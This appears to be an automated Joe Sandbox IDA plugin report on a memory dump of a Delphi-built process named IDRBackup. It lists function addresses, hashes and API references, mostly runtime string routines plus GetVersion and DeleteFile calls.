Associated: 00000006.00000002.2411266627.000000005703B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_57000000_IDRBackup.jbxd

Similarity

API ID: Ansi$L120String$System@%System@@$T$us$i0$%.$String$qqrr27$EnsureLen$qqrx27T$us$i0$%us.Unique$A$qqrr27Length$qqrv.System@
String ID:
API String ID: 3940005804-0
Opcode ID: abbed01ac72e9f4f601d510657248db5d0e54e91e009aa29e0c973c44747e4f6
Instruction ID: 34b0b3850df9b655d50a14ed384dbcbbc724e19da61ae13ec808ed20dd2640af
Opcode Fuzzy Hash: abbed01ac72e9f4f601d510657248db5d0e54e91e009aa29e0c973c44747e4f6
Instruction Fuzzy Hash: 81012676B062545FE304CBFDAC8078EB7E6EF88160F20806BE044C7382D9319D0183E2

Function 5700326C Relevance: 10.6, APIs: 7, Instructions: 55COMMON

Download Yara Rule

APIs

@System@@LStrAddRef$qqrpv.RTL120.BPL ref: 5700327D
@System@@LStrAddRef$qqrpv.RTL120.BPL ref: 57003285
@System@@EnsureAnsiString$qqrr27System@%AnsiStringT$us$i0$%us.RTL120.BPL(00000000,5700330E), ref: 5700329D
@System@@LStrLen$qqrx27System@%AnsiStringT$us$i0$%.RTL120.BPL(00000000,5700330E), ref: 570032A2
@System@@EnsureAnsiString$qqrr27System@%AnsiStringT$us$i0$%us.RTL120.BPL(00000000,5700330E), ref: 570032AE
@System@@LStrLen$qqrx27System@%AnsiStringT$us$i0$%.RTL120.BPL(00000000,5700330E), ref: 570032B3
@System@@LStrArrayClr$qqrpvi.RTL120.BPL(57003315), ref: 57003308

Memory Dump Source

Source File: 00000006.00000002.2404665255.0000000057003000.00000020.00000001.01000000.0000000A.sdmp, Offset: 57000000, based on PE: true

Associated: 00000006.00000002.2404563771.0000000057000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057001000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057013000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2408658185.0000000057024000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410178945.0000000057025000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410246162.0000000057030000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410308778.0000000057031000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2411266627.000000005703B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_57000000_IDRBackup.jbxd

Similarity

API ID: L120System@@$Ansi$StringSystem@%$EnsureLen$qqrx27Ref$qqrpv.String$qqrr27T$us$i0$%.T$us$i0$%us.$ArrayClr$qqrpvi.
String ID:
API String ID: 1632476202-0
Opcode ID: 90e4c21a6243e234234088814793d568652e445935b7671f297556bf5e1cd47e
Instruction ID: fb6843fe898e40c50b4fea084e3f01d38cac23309af52ca48b24be28d4511fbe
Opcode Fuzzy Hash: 90e4c21a6243e234234088814793d568652e445935b7671f297556bf5e1cd47e
Instruction Fuzzy Hash: FE112930E152D49FF70AC7B4C4A05EEFBF8DF85260FD540BAE84093382DA315E018692

Function 57003268 Relevance: 10.6, APIs: 7, Instructions: 52COMMON

Download Yara Rule

APIs

@System@@LStrAddRef$qqrpv.RTL120.BPL ref: 5700327D
@System@@LStrAddRef$qqrpv.RTL120.BPL ref: 57003285
@System@@EnsureAnsiString$qqrr27System@%AnsiStringT$us$i0$%us.RTL120.BPL(00000000,5700330E), ref: 5700329D
@System@@LStrLen$qqrx27System@%AnsiStringT$us$i0$%.RTL120.BPL(00000000,5700330E), ref: 570032A2
@System@@EnsureAnsiString$qqrr27System@%AnsiStringT$us$i0$%us.RTL120.BPL(00000000,5700330E), ref: 570032AE
@System@@LStrLen$qqrx27System@%AnsiStringT$us$i0$%.RTL120.BPL(00000000,5700330E), ref: 570032B3
@System@@LStrArrayClr$qqrpvi.RTL120.BPL(57003315), ref: 57003308

Memory Dump Source

Source File: 00000006.00000002.2404665255.0000000057003000.00000020.00000001.01000000.0000000A.sdmp, Offset: 57000000, based on PE: true

Associated: 00000006.00000002.2404563771.0000000057000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057001000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057013000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2408658185.0000000057024000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410178945.0000000057025000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410246162.0000000057030000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410308778.0000000057031000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2411266627.000000005703B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_57000000_IDRBackup.jbxd

Similarity

API ID: L120System@@$Ansi$StringSystem@%$EnsureLen$qqrx27Ref$qqrpv.String$qqrr27T$us$i0$%.T$us$i0$%us.$ArrayClr$qqrpvi.
String ID:
API String ID: 1632476202-0
Opcode ID: 176006fea5ddb67a57c8df1883c6ff9874e20891ce920418104afa105173b89f
Instruction ID: a7610db8a691047c9351ae2c59cdeef09afad30b95456dbb80fc45743eebdf93
Opcode Fuzzy Hash: 176006fea5ddb67a57c8df1883c6ff9874e20891ce920418104afa105173b89f
Instruction Fuzzy Hash: 8C11C231E152D49FF70AC7B4D4A06EEBBF9DF85260FD540BAE84097382DA315E009692

Function 570200B0 Relevance: 10.5, APIs: 7, Instructions: 35fileCOMMON

Download Yara Rule

APIs

GetVersion.KERNEL32(00000000,57020114,?,?,00000000), ref: 570200C6
@System@@UStrToPWChar$qqrx20System@UnicodeString.RTL120.BPL(00000000,57020114,?,?,00000000), ref: 570200D4
DeleteFileW.KERNEL32(00000000,00000000,57020114,?,?,00000000), ref: 570200DA
@System@@LStrFromUStr$qqrr27System@%AnsiStringT$us$i0$%x20System@UnicodeStringus.RTL120.BPL(00000000,57020114,?,?,00000000), ref: 570200EB
@System@@LStrToPChar$qqrx27System@%AnsiStringT$us$i0$%.RTL120.BPL(00000000,57020114,?,?,00000000), ref: 570200F3
DeleteFileA.KERNEL32(00000000,00000000,57020114,?,?,00000000), ref: 570200F9
@System@@LStrClr$qqrpv.RTL120.BPL(5702011B,?,?,00000000), ref: 5702010E

Memory Dump Source

Source File: 00000006.00000002.2404665255.0000000057013000.00000020.00000001.01000000.0000000A.sdmp, Offset: 57000000, based on PE: true

Associated: 00000006.00000002.2404563771.0000000057000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057001000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057003000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2408658185.0000000057024000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410178945.0000000057025000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410246162.0000000057030000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410308778.0000000057031000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2411266627.000000005703B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_57000000_IDRBackup.jbxd

Similarity

API ID: L120System@@$AnsiDeleteFileStringSystem@System@%Unicode$Char$qqrx20Char$qqrx27Clr$qqrpv.FromStr$qqrr27String.Stringus.T$us$i0$%.T$us$i0$%x20Version
String ID:
API String ID: 620872541-0
Opcode ID: 081bae2c184c7d2741e25ad2ff9dc06db2f6bb41b673e49017cf4409d741119a
Instruction ID: 2df83ccd58e8de067c1d41e92e5b2df0a170b29c787eb673c50c3aac315a3048
Opcode Fuzzy Hash: 081bae2c184c7d2741e25ad2ff9dc06db2f6bb41b673e49017cf4409d741119a
Instruction Fuzzy Hash: E8F05E31666388AFF7049BF5E851B8EB2ECDB48660FD10472B50AD2683DA389D0060A6

Function 57004368 Relevance: 9.1, APIs: 6, Instructions: 83COMMON

Download Yara Rule

APIs

@System@@UStrAddRef$qqrpv.RTL120.BPL ref: 5700437C
@System@@EnsureUnicodeString$qqrr20System@UnicodeString.RTL120.BPL(00000000,5700443C), ref: 5700439E
@System@@UStrLen$qqrx20System@UnicodeString.RTL120.BPL(00000000,5700443C), ref: 570043A3
@System@@EnsureUnicodeString$qqrr20System@UnicodeString.RTL120.BPL(00000000,5700443C), ref: 570043C7
@System@@EnsureUnicodeString$qqrr20System@UnicodeString.RTL120.BPL(00000000,5700443C), ref: 57004404
@System@@UStrClr$qqrpv.RTL120.BPL(57004443), ref: 57004436

Memory Dump Source

Source File: 00000006.00000002.2404665255.0000000057003000.00000020.00000001.01000000.0000000A.sdmp, Offset: 57000000, based on PE: true

Associated: 00000006.00000002.2404563771.0000000057000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057001000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057013000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2408658185.0000000057024000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410178945.0000000057025000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410246162.0000000057030000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410308778.0000000057031000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2411266627.000000005703B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_57000000_IDRBackup.jbxd

Similarity

API ID: Unicode$L120System@@$String.System@$EnsureString$qqrr20$Clr$qqrpv.Len$qqrx20Ref$qqrpv.
String ID:
API String ID: 3997490537-0
Opcode ID: b875bd6e66dea8468794c1f6a52a3550d3043b9a2973e5ecb380f631d68266c7
Instruction ID: d46f648ec1434e228f26831bf4db46d033a2d688aa54b4ba28df0ad57c61c7ff
Opcode Fuzzy Hash: b875bd6e66dea8468794c1f6a52a3550d3043b9a2973e5ecb380f631d68266c7
Instruction Fuzzy Hash: B32102308002989FEB91CFA4C9C05DDB7E4EB463B1BE102A6F800A7292D7B05E40C6C9

Function 57004280 Relevance: 9.1, APIs: 6, Instructions: 83COMMON

Download Yara Rule

APIs

@System@@UStrAddRef$qqrpv.RTL120.BPL ref: 57004294
@System@@EnsureUnicodeString$qqrr20System@UnicodeString.RTL120.BPL(00000000,57004354), ref: 570042B6
@System@@UStrLen$qqrx20System@UnicodeString.RTL120.BPL(00000000,57004354), ref: 570042BB
@System@@EnsureUnicodeString$qqrr20System@UnicodeString.RTL120.BPL(00000000,57004354), ref: 570042DF
@System@@EnsureUnicodeString$qqrr20System@UnicodeString.RTL120.BPL(00000000,57004354), ref: 5700431C
@System@@UStrClr$qqrpv.RTL120.BPL(5700435B), ref: 5700434E

Memory Dump Source

Source File: 00000006.00000002.2404665255.0000000057003000.00000020.00000001.01000000.0000000A.sdmp, Offset: 57000000, based on PE: true

Associated: 00000006.00000002.2404563771.0000000057000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057001000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057013000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2408658185.0000000057024000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410178945.0000000057025000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410246162.0000000057030000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410308778.0000000057031000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2411266627.000000005703B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_57000000_IDRBackup.jbxd

Similarity

API ID: Unicode$L120System@@$String.System@$EnsureString$qqrr20$Clr$qqrpv.Len$qqrx20Ref$qqrpv.
String ID:
API String ID: 3997490537-0
Opcode ID: bbda29f5acf8ba104566db1cfe1fc53795db4ea5dda08b7de3a3849de287f254
Instruction ID: e91f06a5db7030db5834443856fabb1fdcb64b6680a3cc2984e2f65373ac3524
Opcode Fuzzy Hash: bbda29f5acf8ba104566db1cfe1fc53795db4ea5dda08b7de3a3849de287f254
Instruction Fuzzy Hash: D221ED309002A8DFEB81DFA4C8815DDB7E4EF063B1BE052B6F850A72A2D6305F41C689

Function 5701F464 Relevance: 9.1, APIs: 6, Instructions: 79COMMON

Download Yara Rule

APIs

@System@@EnsureUnicodeString$qqrr20System@UnicodeString.RTL120.BPL ref: 5701F471
@System@@UStrLen$qqrx20System@UnicodeString.RTL120.BPL ref: 5701F476
@System@UniqueString$qqrr20System@UnicodeString.RTL120.BPL ref: 5701F487
@System@@EnsureUnicodeString$qqrr20System@UnicodeString.RTL120.BPL(00000000,?,?), ref: 5701F508
@System@@UStrLen$qqrx20System@UnicodeString.RTL120.BPL(00000000,?,?), ref: 5701F50D
@System@@UStrDelete$qqrr20System@UnicodeStringii.RTL120.BPL(00000000,?,?), ref: 5701F525

Memory Dump Source

Source File: 00000006.00000002.2404665255.0000000057013000.00000020.00000001.01000000.0000000A.sdmp, Offset: 57000000, based on PE: true

Associated: 00000006.00000002.2404563771.0000000057000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057001000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057003000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2408658185.0000000057024000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410178945.0000000057025000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410246162.0000000057030000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410308778.0000000057031000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2411266627.000000005703B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_57000000_IDRBackup.jbxd

Similarity

API ID: Unicode$System@$L120$String.System@@$String$qqrr20$EnsureLen$qqrx20$Delete$qqrr20Stringii.Unique
String ID:
API String ID: 656003745-0
Opcode ID: 92866abc8613ce8caa49c0f23e2beed9cef3831e415615198e98036d9368c587
Instruction ID: 625d8a50f25bf52cc5dd93ab162963485e80d676b13267b3dd03454cacd6dc6e
Opcode Fuzzy Hash: 92866abc8613ce8caa49c0f23e2beed9cef3831e415615198e98036d9368c587
Instruction Fuzzy Hash: 4D2179707050848FE7088F6DD8507EE77D2EFD4361F20802AE284C72A2EA79EE568391

Function 5701F462 Relevance: 9.1, APIs: 6, Instructions: 77COMMON

Download Yara Rule

APIs

@System@@EnsureUnicodeString$qqrr20System@UnicodeString.RTL120.BPL ref: 5701F471
@System@@UStrLen$qqrx20System@UnicodeString.RTL120.BPL ref: 5701F476
@System@UniqueString$qqrr20System@UnicodeString.RTL120.BPL ref: 5701F487
@System@@EnsureUnicodeString$qqrr20System@UnicodeString.RTL120.BPL(00000000,?,?), ref: 5701F508
@System@@UStrLen$qqrx20System@UnicodeString.RTL120.BPL(00000000,?,?), ref: 5701F50D
@System@@UStrDelete$qqrr20System@UnicodeStringii.RTL120.BPL(00000000,?,?), ref: 5701F525

Memory Dump Source

Source File: 00000006.00000002.2404665255.0000000057013000.00000020.00000001.01000000.0000000A.sdmp, Offset: 57000000, based on PE: true

Associated: 00000006.00000002.2404563771.0000000057000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057001000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057003000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2408658185.0000000057024000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410178945.0000000057025000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410246162.0000000057030000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410308778.0000000057031000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2411266627.000000005703B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_57000000_IDRBackup.jbxd

Similarity

API ID: Unicode$System@$L120$String.System@@$String$qqrr20$EnsureLen$qqrx20$Delete$qqrr20Stringii.Unique
String ID:
API String ID: 656003745-0
Opcode ID: 3caa9f9fdfb9521cf353236ac9751c6c43c43cf6eea3f7eb0d45a9854aaa2808
Instruction ID: d16f552fc62f7da65d6dac073d55e13e6dc2de71b2d9a039f8e20f51e3fcfb90
Opcode Fuzzy Hash: 3caa9f9fdfb9521cf353236ac9751c6c43c43cf6eea3f7eb0d45a9854aaa2808
Instruction Fuzzy Hash: CB2146707050849FE7098F6DD8607AEB7D2DFD4361F50802AF284C72A2EA75EE5683A1

Function 5701F3A8 Relevance: 9.1, APIs: 6, Instructions: 72COMMON

Download Yara Rule

APIs

@System@@EnsureAnsiString$qqrr27System@%AnsiStringT$us$i0$%us.RTL120.BPL ref: 5701F3B7
@System@@LStrLen$qqrx27System@%AnsiStringT$us$i0$%.RTL120.BPL ref: 5701F3BC
@System@UniqueString$qqrr27System@%AnsiStringT$us$i0$%.RTL120.BPL ref: 5701F3CD
@System@@EnsureAnsiString$qqrr27System@%AnsiStringT$us$i0$%us.RTL120.BPL(00000000,?,?), ref: 5701F438
@System@@LStrLen$qqrx27System@%AnsiStringT$us$i0$%.RTL120.BPL(00000000,?,?), ref: 5701F43D
@System@@LStrDelete$qqrv.RTL120.BPL(00000000,?,?), ref: 5701F455

Memory Dump Source

Source File: 00000006.00000002.2404665255.0000000057013000.00000020.00000001.01000000.0000000A.sdmp, Offset: 57000000, based on PE: true

Associated: 00000006.00000002.2404563771.0000000057000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057001000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057003000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2408658185.0000000057024000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410178945.0000000057025000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410246162.0000000057030000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410308778.0000000057031000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2411266627.000000005703B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_57000000_IDRBackup.jbxd

Similarity

API ID: Ansi$L120$StringSystem@%System@@$String$qqrr27T$us$i0$%.$EnsureLen$qqrx27T$us$i0$%us.$Delete$qqrv.System@Unique
String ID:
API String ID: 3001706570-0
Opcode ID: 682801b2346a7276df1e40a8d1a11f8f5839137008f65db49779f9caf7736dd5
Instruction ID: 268a300ab463ddb64ecd620c41e6c7264d89251e8acce8034b90c801498df047
Opcode Fuzzy Hash: 682801b2346a7276df1e40a8d1a11f8f5839137008f65db49779f9caf7736dd5
Instruction Fuzzy Hash: CA1106717092C41FE7159BAD9C50BEDBBD59F85291F00807AF484C7283CAB6E84583A2

Function 57004F8C Relevance: 9.1, APIs: 6, Instructions: 67COMMON

Download Yara Rule

APIs

@System@@LStrSetLength$qqrv.RTL120.BPL(00000000,57005044,?,?,?,?,00000000,00000000), ref: 57004FB5
@System@@FillChar$qqrpvib.RTL120.BPL(00000000,57005044,?,?,?,?,00000000,00000000), ref: 57004FC3
@System@@LStrCatN$qqrv.RTL120.BPL(?,?,?,?,?,00000000,00000000), ref: 5700500A
@System@@LStrCat3$qqrv.RTL120.BPL(00000000,57005044,?,?,?,?,00000000,00000000), ref: 57005018
@System@@LStrCat$qqrv.RTL120.BPL(00000000,57005044,?,?,?,?,00000000,00000000), ref: 57005024
@System@@LStrArrayClr$qqrpvi.RTL120.BPL(5700504B,?,?,?,00000000,00000000), ref: 5700503E

Memory Dump Source

Source File: 00000006.00000002.2404665255.0000000057003000.00000020.00000001.01000000.0000000A.sdmp, Offset: 57000000, based on PE: true

Associated: 00000006.00000002.2404563771.0000000057000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057001000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057013000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2408658185.0000000057024000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410178945.0000000057025000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410246162.0000000057030000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410308778.0000000057031000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2411266627.000000005703B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_57000000_IDRBackup.jbxd

Similarity

API ID: L120System@@$ArrayCat$qqrv.Cat3$qqrv.Char$qqrpvib.Clr$qqrpvi.FillLength$qqrv.N$qqrv.
String ID:
API String ID: 4049852375-0
Opcode ID: c120909cb2f09d2a15c4a9473918f85aeddafdb8870bdac69e42081228f1f69f
Instruction ID: 19950eaad1bd95c677e1bb76340c418266f1fc84c0a529f8e4f50cb7d9afd933
Opcode Fuzzy Hash: c120909cb2f09d2a15c4a9473918f85aeddafdb8870bdac69e42081228f1f69f
Instruction Fuzzy Hash: C011B1306101C4EFF7158B9AD850FEDBBE9EF48360FE0046AF544C7382E6399E419696

Function 5700313C Relevance: 9.1, APIs: 6, Instructions: 57COMMON

Download Yara Rule

APIs

@System@@UStrAddRef$qqrpv.RTL120.BPL ref: 5700314B
@System@@UStrAsg$qqrr20System@UnicodeStringx20System@UnicodeString.RTL120.BPL(00000000,570031D6), ref: 57003163
@System@@EnsureUnicodeString$qqrr20System@UnicodeString.RTL120.BPL(00000000,570031D6), ref: 5700316B
@System@@UStrLen$qqrx20System@UnicodeString.RTL120.BPL(00000000,570031D6), ref: 57003170
@System@@UniqueStringU$qqrr20System@UnicodeString.RTL120.BPL(00000000,570031D6), ref: 570031A6
@System@@UStrClr$qqrpv.RTL120.BPL(570031DD), ref: 570031D0

Memory Dump Source

Source File: 00000006.00000002.2404665255.0000000057003000.00000020.00000001.01000000.0000000A.sdmp, Offset: 57000000, based on PE: true

Associated: 00000006.00000002.2404563771.0000000057000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057001000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057013000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2408658185.0000000057024000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410178945.0000000057025000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410246162.0000000057030000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410308778.0000000057031000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2411266627.000000005703B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_57000000_IDRBackup.jbxd

Similarity

API ID: L120System@@Unicode$System@$String.$Asg$qqrr20Clr$qqrpv.EnsureLen$qqrx20Ref$qqrpv.StringString$qqrr20Stringx20U$qqrr20Unique
String ID:
API String ID: 1205728660-0
Opcode ID: 24f902cb365d0a2067b779974d93008a8ae287ef7e6ecab5fec17a81ceaddcb8
Instruction ID: 8494dba1452fd57e3e4d53e65d0a48a62d1112bc075513c2fdfbe9bcb7444808
Opcode Fuzzy Hash: 24f902cb365d0a2067b779974d93008a8ae287ef7e6ecab5fec17a81ceaddcb8
Instruction Fuzzy Hash: 54112930911184EFF712CBB5D8419EEF3E8DF4A370BE0006AE800837B3DA30AE119286

Function 5700309C Relevance: 9.1, APIs: 6, Instructions: 54COMMON

Download Yara Rule

APIs

@System@@LStrAddRef$qqrpv.RTL120.BPL ref: 570030AE
@System@@LStrAsg$qqrpvpxv.RTL120.BPL(00000000,5700312B), ref: 570030C7
@System@@EnsureAnsiString$qqrr27System@%AnsiStringT$us$i0$%us.RTL120.BPL(00000000,5700312B), ref: 570030D1
@System@@LStrLen$qqrx27System@%AnsiStringT$us$i0$%.RTL120.BPL(00000000,5700312B), ref: 570030D6
@System@@UniqueStringA$qqrr27System@%AnsiStringT$us$i0$%.RTL120.BPL(00000000,5700312B), ref: 57003105
@System@@LStrClr$qqrpv.RTL120.BPL(57003132), ref: 57003125

Memory Dump Source

Source File: 00000006.00000002.2404665255.0000000057003000.00000020.00000001.01000000.0000000A.sdmp, Offset: 57000000, based on PE: true

Associated: 00000006.00000002.2404563771.0000000057000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057001000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057013000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2408658185.0000000057024000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410178945.0000000057025000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410246162.0000000057030000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410308778.0000000057031000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2411266627.000000005703B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_57000000_IDRBackup.jbxd

Similarity

API ID: L120System@@$AnsiString$System@%$T$us$i0$%.$A$qqrr27Asg$qqrpvpxv.Clr$qqrpv.EnsureLen$qqrx27Ref$qqrpv.String$qqrr27T$us$i0$%us.Unique
String ID:
API String ID: 464016181-0
Opcode ID: 9ad51c0c0f59bdfa17b682511fe24e8f02d8302b65edaea242d996c9d5f4e0d9
Instruction ID: 42588da8788315314a94680c816a36a064586e4b502997e772c8f7a2a450b5b3
Opcode Fuzzy Hash: 9ad51c0c0f59bdfa17b682511fe24e8f02d8302b65edaea242d996c9d5f4e0d9
Instruction Fuzzy Hash: C501C8319191C8AFF716CBB4D8515DEFBE4DB49230FD109B9D40093393D635AF029591

Function 5701F020 Relevance: 7.6, APIs: 5, Instructions: 150COMMON

Download Yara Rule

APIs

@System@@LStrAddRef$qqrpv.RTL120.BPL ref: 5701F03D
@System@@EnsureAnsiString$qqrr27System@%AnsiStringT$us$i0$%us.RTL120.BPL(?,00000000,5701F200), ref: 5701F085
@System@@LStrLen$qqrx27System@%AnsiStringT$us$i0$%.RTL120.BPL(?,00000000,5701F200), ref: 5701F08A
@System@@LStrToPChar$qqrx27System@%AnsiStringT$us$i0$%.RTL120.BPL(00000000,?,00000000,5701F200), ref: 5701F093
@System@@LStrClr$qqrpv.RTL120.BPL(5701F207), ref: 5701F1FA

Memory Dump Source

Source File: 00000006.00000002.2404665255.0000000057013000.00000020.00000001.01000000.0000000A.sdmp, Offset: 57000000, based on PE: true

Associated: 00000006.00000002.2404563771.0000000057000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057001000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057003000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2408658185.0000000057024000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410178945.0000000057025000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410246162.0000000057030000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410308778.0000000057031000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2411266627.000000005703B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_57000000_IDRBackup.jbxd

Similarity

API ID: L120System@@$Ansi$StringSystem@%$T$us$i0$%.$Char$qqrx27Clr$qqrpv.EnsureLen$qqrx27Ref$qqrpv.String$qqrr27T$us$i0$%us.
String ID:
API String ID: 3525739165-0
Opcode ID: 89828e03a4704deb740e6c22b2b883d627fce78c6d81ce6bc2bea2d63cb8ff75
Instruction ID: 10cbcb0fae02c2ab49c6633c536b0b47457d77306deba1e89b8b318b02e2c132
Opcode Fuzzy Hash: 89828e03a4704deb740e6c22b2b883d627fce78c6d81ce6bc2bea2d63cb8ff75
Instruction Fuzzy Hash: 77517C715016989FD714CF68DC80ACAB7F9EF45320F4045A6E888D7292D774AE84CFA1

